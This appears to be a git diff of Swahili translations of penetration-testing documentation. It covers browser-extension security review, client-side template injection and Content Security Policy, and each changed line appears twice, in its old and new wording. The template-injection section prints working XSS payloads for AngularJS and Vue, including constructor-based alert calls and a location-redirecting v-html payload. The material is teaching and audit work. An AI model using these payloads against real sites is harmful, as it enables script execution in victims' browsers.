Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiendelezi cha kivinjari umeelezewa**.
 | 
			
		||||
Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiongezeo cha kivinjari umeelezewa**.
 | 
			
		||||
 | 
			
		||||
## Taarifa Nyeti katika Kumbukumbu/Msimbo/Clipboard
 | 
			
		||||
 | 
			
		||||
Ikiwa Kiendelezi cha Kivinjari kina **taarifa nyeti ndani ya kumbukumbu yake**, hii inaweza **kutolewa** (hasa katika mashine za Windows) na **kutafutwa** kwa taarifa hii.
 | 
			
		||||
Ikiwa Kiongezeo cha Kivinjari kina **taarifa nyeti ndani ya kumbukumbu yake**, hii inaweza **kutolewa** (hasa katika mashine za Windows) na **kutafutwa** kwa taarifa hii.
 | 
			
		||||
 | 
			
		||||
Kwa hivyo, kumbukumbu ya Kiendelezi cha Kivinjari **haipaswi kuzingatiwa kuwa salama** na **taarifa nyeti** kama vile akidi au maneno ya kumbukumbu **hazipaswi kuhifadhiwa**.
 | 
			
		||||
Kwa hivyo, kumbukumbu ya Kiongezeo cha Kivinjari **haipaswi kuzingatiwa kuwa salama** na **taarifa nyeti** kama vile akidi au maneno ya kumbukumbu **haipaswi kuhifadhiwa**.
 | 
			
		||||
 | 
			
		||||
Kwa kweli, usiweke **taarifa nyeti katika msimbo**, kwani itakuwa **ya umma**.
 | 
			
		||||
 | 
			
		||||
Ili kutoa kumbukumbu kutoka kwa kivinjari unaweza **kutoa kumbukumbu ya mchakato** au kwenda kwenye **mipangilio** ya kiendelezi cha kivinjari bonyeza **`Inspect pop-up`** -> Katika sehemu ya **`Memory`** -> **`Take a snapshot`** na **`CTRL+F`** kutafuta ndani ya picha ya kumbukumbu kwa taarifa nyeti.
 | 
			
		||||
Ili kutoa kumbukumbu kutoka kwa kivinjari unaweza **kutoa kumbukumbu ya mchakato** au kwenda kwenye **mipangilio** ya kiongezeo cha kivinjari bonyeza **`Inspect pop-up`** -> Katika sehemu ya **`Memory`** -> **`Take a snapshot`** na **`CTRL+F`** kutafuta ndani ya picha ya kumbukumbu kwa taarifa nyeti.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, taarifa nyeti sana kama vile funguo za kumbukumbu au nywila **hazipaswi kuruhusiwa kunakiliwa kwenye clipboard** (au angalau kuondolewa kutoka kwenye clipboard ndani ya sekunde chache) kwa sababu basi michakato inayofuatilia clipboard itakuwa na uwezo wa kuzichukua.
 | 
			
		||||
Zaidi ya hayo, taarifa nyeti sana kama vile funguo za kumbukumbu au nywila **hazipaswi kuruhusiwa kunakiliwa kwenye clipboard** (au angalau kuondolewa kutoka kwenye clipboard ndani ya sekunde chache) kwa sababu basi michakato inayofuatilia clipboard itakuwa na uwezo wa kuzipata.
 | 
			
		||||
 | 
			
		||||
## Kupakia Kiendelezi katika Kivinjari
 | 
			
		||||
## Kupakia Kiongezeo katika Kivinjari
 | 
			
		||||
 | 
			
		||||
1. **Pakua** Kiendelezi cha Kivinjari & uondoe zipu
 | 
			
		||||
1. **Pakua** Kiongezeo cha Kivinjari & uondoe zipu
 | 
			
		||||
2. Nenda kwenye **`chrome://extensions/`** na **wezesha** `Developer Mode`
 | 
			
		||||
3. Bonyeza kitufe cha **`Load unpacked`**
 | 
			
		||||
 | 
			
		||||
Katika **Firefox** unakwenda **`about:debugging#/runtime/this-firefox`** na bonyeza kitufe cha **`Load Temporary Add-on`**.
 | 
			
		||||
Katika **Firefox** unakwenda kwenye **`about:debugging#/runtime/this-firefox`** na bonyeza kitufe cha **`Load Temporary Add-on`**.
 | 
			
		||||
 | 
			
		||||
## Kupata msimbo wa chanzo kutoka duka
 | 
			
		||||
 | 
			
		||||
Msimbo wa chanzo wa kiendelezi cha Chrome unaweza kupatikana kupitia njia mbalimbali. Hapa chini kuna maelezo ya kina na maelekezo kwa kila chaguo.
 | 
			
		||||
Msimbo wa chanzo wa kiongezeo cha Chrome unaweza kupatikana kupitia njia mbalimbali. Hapa chini kuna maelezo ya kina na maagizo kwa kila chaguo.
 | 
			
		||||
 | 
			
		||||
### Pakua Kiendelezi kama ZIP kupitia Mstari wa Amri
 | 
			
		||||
### Pakua Kiongezeo kama ZIP kupitia Mstari wa Amri
 | 
			
		||||
 | 
			
		||||
Msimbo wa chanzo wa kiendelezi cha Chrome unaweza kupakuliwa kama faili ya ZIP kwa kutumia mstari wa amri. Hii inahusisha kutumia `curl` kupata faili ya ZIP kutoka URL maalum na kisha kutoa yaliyomo ya faili ya ZIP kwenye directory. Hapa kuna hatua:
 | 
			
		||||
Msimbo wa chanzo wa kiongezeo cha Chrome unaweza kupakuliwa kama faili ya ZIP kwa kutumia mstari wa amri. Hii inahusisha kutumia `curl` kupata faili ya ZIP kutoka URL maalum na kisha kutoa yaliyomo ya faili ya ZIP kwenye directory. Hapa kuna hatua:
 | 
			
		||||
 | 
			
		||||
1. Badilisha `"extension_id"` na ID halisi ya kiendelezi.
 | 
			
		||||
1. Badilisha `"extension_id"` na ID halisi ya kiongezeo.
 | 
			
		||||
2. Tekeleza amri zifuatazo:
 | 
			
		||||
```bash
 | 
			
		||||
extension_id=your_extension_id   # Replace with the actual extension ID
 | 
			
		||||
@ -621,13 +621,13 @@ Ili kubaini viendelezi, unaweza kuoanisha IDs zao na majina:
 | 
			
		||||
- Washa Mode ya Developer kwenye ukurasa wa `about:extensions` ili kuona IDs za kila kiendelezi.
 | 
			
		||||
- Ndani ya folda ya kila kiendelezi, faili ya `manifest.json` ina uwanja wa `name` unaoweza kusomeka, ikikusaidia kubaini kiendelezi.
 | 
			
		||||
 | 
			
		||||
### Tumia Mchambuzi wa Faili au Unpacker
 | 
			
		||||
### Tumia Kifungashio cha Faili au Unpacker
 | 
			
		||||
 | 
			
		||||
Nenda kwenye Chrome Web Store na upakue kiendelezi. Faili itakuwa na kiendelezi cha `.crx`. Badilisha kiendelezi cha faili kutoka `.crx` hadi `.zip`. Tumia mchambuzi wowote wa faili (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili ya ZIP.
 | 
			
		||||
Nenda kwenye Chrome Web Store na upakue kiendelezi. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` hadi `.zip`. Tumia kifungashio chochote cha faili (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili la ZIP.
 | 
			
		||||
 | 
			
		||||
### Tumia Mode ya Developer katika Chrome
 | 
			
		||||
 | 
			
		||||
Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" katika kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembea hadi saraka ya kiendelezi chako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kutazama na kubadilisha msimbo wa kiendelezi ambacho tayari kimepakuliwa au kimeandaliwa.
 | 
			
		||||
Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" katika kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembea hadi saraka ya kiendelezi chako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kuangalia na kubadilisha msimbo wa kiendelezi ambacho tayari kimepakuliwa au kimeandaliwa.
 | 
			
		||||
 | 
			
		||||
## Seti ya data ya manifest ya kiendelezi cha Chrome
 | 
			
		||||
 | 
			
		||||
@ -638,58 +638,58 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
 | 
			
		||||
```
 | 
			
		||||
## Orodha ya Ukaguzi wa Usalama
 | 
			
		||||
 | 
			
		||||
Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi yao wanaweza kuwa na **mapungufu** au **mabadiliko yanayoweza kuimarishwa**. Hizi hapa ni za kawaida zaidi:
 | 
			
		||||
Ingawa Upanuzi wa Kivinjari una **uso wa shambulio ulio na mipaka**, baadhi yao wanaweza kuwa na **mapungufu** au **mabadiliko yanayoweza kuimarishwa**. Hizi hapa ni za kawaida zaidi:
 | 
			
		||||
 | 
			
		||||
- [ ] **Punguza** kadri iwezekanavyo **`permissions`** zinazohitajika
 | 
			
		||||
- [ ] **Punguza** kadri iwezekanavyo **`host_permissions`**
 | 
			
		||||
- [ ] Tumia **sera thabiti** ya **`content_security_policy`**
 | 
			
		||||
- [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo-msingi, eleza **`{}`**
 | 
			
		||||
- [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo la kawaida, eleza **`{}`**
 | 
			
		||||
- [ ] Ikiwa **URL inayoweza kuathiriwa na XSS au kuchukuliwa** imetajwa hapa, mshambuliaji ataweza **kutuma ujumbe kwa scripts za nyuma moja kwa moja**. Njia yenye nguvu sana ya kupita.
 | 
			
		||||
- [ ] **Punguza** kadri iwezekanavyo **`web_accessible_resources`**, hata ikiwa tupu ikiwa inawezekana.
 | 
			
		||||
- [ ] Ikiwa **`web_accessible_resources`** si hakuna, angalia [**ClickJacking**](browext-clickjacking.md)
 | 
			
		||||
- [ ] Ikiwa mawasiliano yoyote yanatokea kutoka kwa **kiongezeo** hadi **ukurasa wa wavuti**, [**angalia XSS**](browext-xss-example.md) **mapungufu** yaliyosababishwa katika mawasiliano.
 | 
			
		||||
- [ ] Ikiwa Post Messages zinatumika, angalia [**Post Message vulnerabilities**](../postmessage-vulnerabilities/)**.**
 | 
			
		||||
- [ ] Ikiwa mawasiliano yoyote yanatokea kutoka kwa **upanuzi** hadi **ukurasa wa wavuti**, [**angalia XSS**](browext-xss-example.md) **mapungufu** yaliyosababishwa katika mawasiliano.
 | 
			
		||||
- [ ] Ikiwa Post Messages zinatumika, angalia [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
 | 
			
		||||
- [ ] Ikiwa **Content Script inapata maelezo ya DOM**, angalia kwamba hazileti **XSS** ikiwa zitabadilishwa na wavuti
 | 
			
		||||
- [ ] Fanya mkazo maalum ikiwa mawasiliano haya yanahusishwa pia katika **Mawasiliano ya Content Script -> Script ya Nyuma**
 | 
			
		||||
- [ ] Ikiwa script ya nyuma inawasiliana kupitia **ujumbe wa asili** angalia mawasiliano ni salama na yameondolewa
 | 
			
		||||
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya msimbo wa Kiongezeo cha Kivinjari
 | 
			
		||||
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya kumbukumbu ya Kiongezeo cha Kivinjari
 | 
			
		||||
- [ ] Fanya mkazo maalum ikiwa mawasiliano haya pia yanahusishwa katika **Mawasiliano ya Content Script -> Background script**
 | 
			
		||||
- [ ] Ikiwa script ya nyuma inawasiliana kupitia **native messaging** angalia mawasiliano ni salama na yameondolewa
 | 
			
		||||
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya msimbo wa Upanuzi wa Kivinjari
 | 
			
		||||
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya kumbukumbu ya Upanuzi wa Kivinjari
 | 
			
		||||
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **mfumo wa faili usiolindwa**
 | 
			
		||||
 | 
			
		||||
## Hatari za Kiongezeo cha Kivinjari
 | 
			
		||||
## Hatari za Upanuzi wa Kivinjari
 | 
			
		||||
 | 
			
		||||
- Programu [https://crxaminer.tech/](https://crxaminer.tech/) inachambua data kama ruhusa ambazo kiongezeo cha kivinjari kinahitaji ili kutoa kiwango cha hatari cha kutumia kiongezeo cha kivinjari.
 | 
			
		||||
- Programu [https://crxaminer.tech/](https://crxaminer.tech/) inachambua data kama ruhusa ambazo upanuzi wa kivinjari unahitaji ili kutoa kiwango cha hatari cha kutumia upanuzi wa kivinjari.
 | 
			
		||||
 | 
			
		||||
## Zana
 | 
			
		||||
 | 
			
		||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
 | 
			
		||||
 | 
			
		||||
- Inavuta kiongezeo chochote cha Chrome kutoka kiungo kilichotolewa cha duka la wavuti la Chrome.
 | 
			
		||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **mtazamaji**: inaonyesha toleo la JSON lililopambwa la manifest ya kiongezeo.
 | 
			
		||||
- **Uchambuzi wa Alama**: Ugunduzi wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) na uzalishaji wa moja kwa moja wa JavaScript ya alama ya kiongezeo cha Chrome.
 | 
			
		||||
- **Uchambuzi wa Hatari ya Clickjacking**: Ugunduzi wa kurasa za HTML za kiongezeo zenye mwelekeo wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) zilizowekwa. Hizi zinaweza kuwa na hatari ya clickjacking kulingana na kusudi la kurasa hizo.
 | 
			
		||||
- **Mtazamaji wa Onyo la Ruhusa**: unaonyesha orodha ya onyo zote za ruhusa za Chrome ambazo zitaonyeshwa wakati mtumiaji anajaribu kufunga kiongezeo.
 | 
			
		||||
- **Kazi Hatari**: inaonyesha mahali pa kazi hatari ambazo zinaweza kutumiwa na mshambuliaji (mfano, kazi kama innerHTML, chrome.tabs.executeScript).
 | 
			
		||||
- **Mahali pa Kuingia**: inaonyesha mahali kiongezeo kinapochukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo.
 | 
			
		||||
- Wote skana za Kazi Hatari na Mahali pa Kuingia zina yafuatayo kwa arifa zao zilizozalishwa:
 | 
			
		||||
- Inavuta upanuzi wowote wa Chrome kutoka kwa kiungo kilichotolewa cha duka la wavuti la Chrome.
 | 
			
		||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **mtazamaji**: inaonyesha toleo la JSON lililopambwa la hati ya upanuzi.
 | 
			
		||||
- **Uchambuzi wa Alama**: Ugunduzi wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) na uzalishaji wa moja kwa moja wa JavaScript ya alama ya upanuzi wa Chrome.
 | 
			
		||||
- **Uchambuzi wa Hatari ya Clickjacking**: Ugunduzi wa kurasa za HTML za upanuzi zenye mwelekeo wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) zilizowekwa. Hizi zinaweza kuwa na hatari ya clickjacking kulingana na kusudi la kurasa hizo.
 | 
			
		||||
- **Mtazamaji wa Onyo la Ruhusa**: unaonyesha orodha ya onyo zote za ruhusa za Chrome ambazo zitaonyeshwa wakati mtumiaji anajaribu kufunga upanuzi.
 | 
			
		||||
- **Kazi Hatari**: inaonyesha eneo la kazi hatari ambazo zinaweza kutumiwa na mshambuliaji (mfano, kazi kama innerHTML, chrome.tabs.executeScript).
 | 
			
		||||
- **Nukta ya Kuingilia**: inaonyesha mahali ambapo upanuzi unachukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la upanuzi na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa upanuzi.
 | 
			
		||||
- Wote skana za Kazi Hatari na Nukta ya Kuingilia zina yafuatayo kwa arifa zao zilizozalishwa:
 | 
			
		||||
- Kipande cha msimbo kinachohusiana na mstari ulioleta arifa.
 | 
			
		||||
- Maelezo ya tatizo.
 | 
			
		||||
- Kitufe cha "Tazama Faili" ili kuona faili kamili ya chanzo inayohusisha msimbo.
 | 
			
		||||
- Njia ya faili iliyoarifiwa.
 | 
			
		||||
- URI kamili ya kiongezeo cha Chrome ya faili iliyoarifiwa.
 | 
			
		||||
- Njia ya faili iliyoonyeshwa.
 | 
			
		||||
- URI kamili ya upanuzi wa Chrome wa faili iliyoonyeshwa.
 | 
			
		||||
- Aina ya faili ni, kama vile script ya Ukurasa wa Nyuma, Script ya Maudhui, Kitendo cha Kivinjari, nk.
 | 
			
		||||
- Ikiwa mstari unaoweza kuathiriwa uko katika faili ya JavaScript, njia za kurasa zote ambapo imejumuishwa pamoja na aina za kurasa hizi, na hali ya [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
 | 
			
		||||
- **Mchambuzi wa Sera ya Usalama wa Maudhui (CSP) na mchakato wa kupita**: Hii itaonyesha udhaifu katika CSP ya kiongezeo chako na pia itaonyesha njia zozote zinazoweza kupita CSP yako kutokana na CDNs zilizoorodheshwa, nk.
 | 
			
		||||
- **Maktaba Zinazojulikana Kuwa na Mapungufu**: Hii inatumia [Retire.js](https://retirejs.github.io/retire.js/) kuangalia matumizi ya maktaba za JavaScript zinazojulikana kuwa na mapungufu.
 | 
			
		||||
- Pakua kiongezeo na toleo lililopangwa.
 | 
			
		||||
- Pakua kiongezeo asilia.
 | 
			
		||||
- Pakua toleo lililopambwa la kiongezeo (HTML na JavaScript iliyopambwa kiotomatiki).
 | 
			
		||||
- Hifadhi matokeo ya uchambuzi kiotomatiki, kuendesha uchambuzi wa kiongezeo kutachukua muda mzuri mara ya kwanza unapoendesha. Hata hivyo, mara ya pili, ikiwa kiongezeo hakijasasishwa, itakuwa karibu papo hapo kutokana na matokeo kuhifadhiwa.
 | 
			
		||||
- URL za Ripoti zinazoweza kuunganishwa, rahisi kuunganisha mtu mwingine kwenye ripoti ya kiongezeo iliyozalishwa na tarnish.
 | 
			
		||||
- **Mchambuzi wa Sera ya Usalama wa Maudhui (CSP) na mchakato wa kupita**: Hii itabainisha udhaifu katika CSP ya upanuzi wako na pia itaonyesha njia zozote zinazoweza kupita CSP yako kutokana na CDNs zilizoorodheshwa, nk.
 | 
			
		||||
- **Maktaba Zinazojulikana za Hatari**: Hii inatumia [Retire.js](https://retirejs.github.io/retire.js/) kuangalia matumizi ya maktaba za JavaScript zinazojulikana kuwa na hatari.
 | 
			
		||||
- Pakua upanuzi na toleo lililopangwa.
 | 
			
		||||
- Pakua upanuzi wa asili.
 | 
			
		||||
- Pakua toleo lililopambwa la upanuzi (HTML na JavaScript iliyopambwa kiotomatiki).
 | 
			
		||||
- Hifadhi kiotomatiki ya matokeo ya uchunguzi, kuendesha uchunguzi wa upanuzi kutachukua muda mzuri mara ya kwanza unapoendesha. Hata hivyo, mara ya pili, ikiwa upanuzi haujabadilishwa, itakuwa karibu papo hapo kutokana na matokeo kuhifadhiwa.
 | 
			
		||||
- URL za Ripoti zinazoweza kuunganishwa, rahisi kuunganisha mtu mwingine kwenye ripoti ya upanuzi iliyozalishwa na tarnish.
 | 
			
		||||
 | 
			
		||||
### [Neto](https://github.com/elevenpaths/neto)
 | 
			
		||||
 | 
			
		||||
Mradi wa Neto ni pakiti ya Python 3 iliyoundwa kuchambua na kufichua vipengele vilivyofichwa vya plugins na kiongezeo kwa vivinjari maarufu kama Firefox na Chrome. Inafanya mchakato wa kufungua faili zilizofungashwa ili kutoa vipengele hivi kutoka kwa rasilimali zinazohusiana katika kiongezeo kama `manifest.json`, folda za lugha au faili za chanzo za Javascript na HTML.
 | 
			
		||||
Mradi wa Neto ni kifurushi cha Python 3 kilichoundwa kuchambua na kufichua vipengele vilivyofichwa vya nyongeza za kivinjari na upanuzi kwa vivinjari maarufu kama Firefox na Chrome. Inafanya mchakato wa kufungua faili zilizofungashwa ili kutoa vipengele hivi kutoka kwa rasilimali zinazohusiana katika upanuzi kama `manifest.json`, folda za lugha au faili za chanzo za Javascript na HTML.
 | 
			
		||||
 | 
			
		||||
## Marejeleo
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,15 +4,15 @@
 | 
			
		||||
 | 
			
		||||
## Summary
 | 
			
		||||
 | 
			
		||||
Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kutekeleza msimbo** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kutekeleza JavaScript** isiyo na mipaka katika kivinjari cha mwathirika.
 | 
			
		||||
Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kutekeleza msimbo** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kutekeleza msimbo wa JavaScript** wa kiholela katika kivinjari cha mwathirika.
 | 
			
		||||
 | 
			
		||||
**Kujaribu** udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, kwa payload kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`
 | 
			
		||||
 | 
			
		||||
## AngularJS
 | 
			
		||||
 | 
			
		||||
AngularJS ni mfumo maarufu wa JavaScript unaotumika mwingiliano na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
 | 
			
		||||
AngularJS ni mfumo maarufu wa JavaScript unaoshirikiana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
 | 
			
		||||
 | 
			
		||||
Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu ndani ya mwili wa HTML ulio na alama `ng-app`, inawezekana kutekeleza msimbo wa JavaScript isiyo na mipaka. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
 | 
			
		||||
Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na lebo `ng-app`, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hii inaweza kufanywa kwa kutumia sintaksia ya AngularJS ndani ya input. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
 | 
			
		||||
```javascript
 | 
			
		||||
{{$on.constructor('alert(1)')()}}
 | 
			
		||||
{{constructor.constructor('alert(1)')()}}
 | 
			
		||||
@ -23,14 +23,14 @@ Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu ndani ya mwili wa HTML
 | 
			
		||||
```
 | 
			
		||||
Unaweza kupata mfano wa **msingi mtandaoni** wa udhaifu katika **AngularJS** katika [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) na katika [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
 | 
			
		||||
 | 
			
		||||
> [!CAUTION] > [**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kutoka toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
 | 
			
		||||
> [!CAUTION] > [**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kuanzia toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
 | 
			
		||||
 | 
			
		||||
## VueJS
 | 
			
		||||
 | 
			
		||||
Unaweza kupata utekelezaji wa **Vue** ulio na udhaifu katika [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
 | 
			
		||||
Unaweza kupata utekelezaji wa **Vue** wenye udhaifu katika [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
 | 
			
		||||
Payload inayofanya kazi: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
 | 
			
		||||
 | 
			
		||||
Na **msimbo wa chanzo** wa mfano ulio na udhaifu hapa: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
 | 
			
		||||
Na **msingi wa kanuni** ya mfano wenye udhaifu hapa: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
 | 
			
		||||
```markup
 | 
			
		||||
<!-- Google Research - Vue.js-->
 | 
			
		||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
 | 
			
		||||
@ -69,7 +69,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
 | 
			
		||||
```
 | 
			
		||||
**Zaidi ya payloads katika** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
 | 
			
		||||
 | 
			
		||||
## **Orodha ya Kugundua Brute-Force**
 | 
			
		||||
## **Orodha ya Ugunduzi wa Brute-Force**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
 | 
			
		||||
 | 
			
		||||
@ -6,7 +6,7 @@
 | 
			
		||||
 | 
			
		||||
Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga **kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS)**. Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha anuwai ya vipengele kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama `eval`, `setTimeout`, au `setInterval`.
 | 
			
		||||
 | 
			
		||||
Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
 | 
			
		||||
Utekelezaji wa CSP unafanywa kupitia **response headers** au kwa kuingiza **meta elements kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
 | 
			
		||||
 | 
			
		||||
- Implemented via response header:
 | 
			
		||||
```
 | 
			
		||||
@ -21,11 +21,11 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
 | 
			
		||||
CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi:
 | 
			
		||||
 | 
			
		||||
- `Content-Security-Policy`: Inalazimisha CSP; kivinjari kinazuia ukiukaji wowote.
 | 
			
		||||
- `Content-Security-Policy-Report-Only`: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Inafaa kwa majaribio katika mazingira ya kabla ya uzalishaji.
 | 
			
		||||
- `Content-Security-Policy-Report-Only`: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Ni bora kwa majaribio katika mazingira ya kabla ya uzalishaji.
 | 
			
		||||
 | 
			
		||||
### Defining Resources
 | 
			
		||||
 | 
			
		||||
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
 | 
			
		||||
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti vipengele kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
 | 
			
		||||
```bash
 | 
			
		||||
default-src 'none';
 | 
			
		||||
img-src 'self';
 | 
			
		||||
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 | 
			
		||||
```
 | 
			
		||||
</details>
 | 
			
		||||
 | 
			
		||||
- `'sha256-<hash>'`: Inaruhusu skripti zenye hash maalum ya sha256.
 | 
			
		||||
- `'sha256-<hash>'`: Inaruhusu skripti zilizo na hash maalum ya sha256.
 | 
			
		||||
- `'strict-dynamic'`: Inaruhusu kupakia skripti kutoka chanzo chochote ikiwa kimeorodheshwa na nonce au hash.
 | 
			
		||||
- `'host'`: Inaelezea mwenyeji maalum, kama `example.com`.
 | 
			
		||||
- `https:`: Inapunguza URLs kwa zile zinazotumia HTTPS.
 | 
			
		||||
- `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizoundwa kupitia JavaScript).
 | 
			
		||||
- `filesystem:`: Inaruhusu rasilimali kupakiwa kutoka kwenye mfumo wa faili.
 | 
			
		||||
- `https:`: Inapunguza URL kwa zile zinazotumia HTTPS.
 | 
			
		||||
- `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizo tengenezwa kupitia JavaScript).
 | 
			
		||||
- `filesystem:`: Inaruhusu rasilimali kupakiwa kutoka mfumo wa faili.
 | 
			
		||||
- `'report-sample'`: Inajumuisha sampuli ya msimbo unaovunja sheria katika ripoti ya uvunjaji (inafaa kwa ufuatiliaji wa makosa).
 | 
			
		||||
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (mwenyeji salama tu anaweza kupakia rasilimali kutoka kwa wenyeji salama).
 | 
			
		||||
- `'strict-origin-when-cross-origin'`: Inatuma URLs kamili wakati wa kufanya maombi ya asili moja lakini inatuma asili tu wakati ombi ni la asili tofauti.
 | 
			
		||||
